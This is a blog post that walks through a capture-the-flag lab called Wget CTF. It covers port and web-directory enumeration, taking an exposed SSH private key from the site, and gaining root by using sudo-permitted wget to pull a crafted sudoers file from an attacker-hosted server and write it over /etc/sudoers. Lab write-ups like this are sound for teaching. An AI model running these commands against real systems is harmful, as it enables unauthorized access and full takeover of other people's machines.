DEV Community

Cover image for Wget CTF: From Port Enumeration and Secret Keys to Root Privileges via Wget GTFOBins
Mohammad ali
Mohammad ali

Posted on

Wget CTF: From Port Enumeration and Secret Keys to Root Privileges via Wget GTFOBins

#ai #webdev #tutorial #cybersecurity

Hello, tech enthusiasts and cybersecurity hobbyists! In this write-up, we will walk step-by-step through how we successfully penetrated and seized full control of a Linux system in a Wget CTF lab environment, starting from network reconnaissance all the way to gaining ultimate Root privileges.

1. Reconnaissance & Enumeration

We began our journey as usual by scanning the target using Nmap to discover open ports and running services:

nmap -sV -sC <Target-IP>
Enter fullscreen mode Exit fullscreen mode

The scan revealed two main ports:

  • Port 22 (SSH): Secure shell service.
  • Port 80 (HTTP): Web server (Apache).

Next, we performed web content fuzzing using ffuf with a standard wordlist:

ffuf -u http://<Target-IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
Enter fullscreen mode Exit fullscreen mode

This scan led us to discover a key directory named sitemap.

We ran additional fuzzing inside the sitemap directory:

ffuf -u http://<Target-IP>/sitemap/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
Enter fullscreen mode Exit fullscreen mode

This revealed a hidden .ssh folder.

By browsing to the main website and inspecting the page source, we found a very important developer comment hinting at the target username:

Jessie don't forget to update the website

By navigating through the paths and accessing the .ssh directory via the browser, we located the user's private SSH key (id_rsa).

We displayed the full content of the private key directly from the browser view.

2. Setting Up the Key & Initial Access

On our attacking machine, we created a new file and saved the private key content:

nano id_rsa
Enter fullscreen mode Exit fullscreen mode

Because the SSH client rejects private keys with overly permissive permissions, we adjusted the file permissions so that only the owner can read it:

sudo chmod 600 id_rsa
Enter fullscreen mode Exit fullscreen mode

After securing the permissions, we logged into the target system as the user jessie using the private key:

sudo ssh -i id_rsa jessie@<Target-IP>
Enter fullscreen mode Exit fullscreen mode

And we successfully gained shell access!

Once inside, we explored the user's directories and navigated to the Documents folder to retrieve our first flag:

  • Flag Location: ~/Documents/user_flag.txt
  • Flag Value: .............................

3. Privilege Escalation to Root

To check the permissions granted to our current user and identify escalation vectors, we executed:

sudo -l
Enter fullscreen mode Exit fullscreen mode

The results showed that user jessie is allowed to run the wget binary as root without a password:

(root) NOPASSWD: /usr/bin/wget

Leveraging this misconfiguration (via GTFOBins), we created a local sudoers file on our attacker machine granting user jessie full administrative privileges without a password:

echo "jessie ALL=(ALL:ALL) NOPASSWD: ALL" > sudoers
Enter fullscreen mode Exit fullscreen mode

Next, we hosted this file locally using a temporary Python HTTP server:

python3 -m http.server -b <Kali-IP> 80
Enter fullscreen mode Exit fullscreen mode

On the victim machine, we pulled the modified file and overwrote the system's core /etc/sudoers file using the permitted wget command as root:

sudo /usr/bin/wget http://<Kali-IP>/sudoers -O /etc/sudoers
Enter fullscreen mode Exit fullscreen mode

4. Full Control & Capturing the Root Flag

Once the overwrite operation completed successfully, we were able to elevate to the root user immediately and without restrictions:

sudo su
Enter fullscreen mode Exit fullscreen mode

And the shell prompt instantly transformed into root@CorpOne!

Finally, we navigated to the root user's home directory (/root) and read the final flag:

  • Flag Location: /root/root_flag.txt
  • Flag Value: ..................................

Conclusion

This concludes our successful walkthrough of the Wget CTF challenge, covering everything from initial reconnaissance and extracting SSH keys to exploiting sudo privileges via wget for absolute root access.

I hope you enjoyed this write-up. Happy hacking, and see you in future technical articles!

Top comments (0)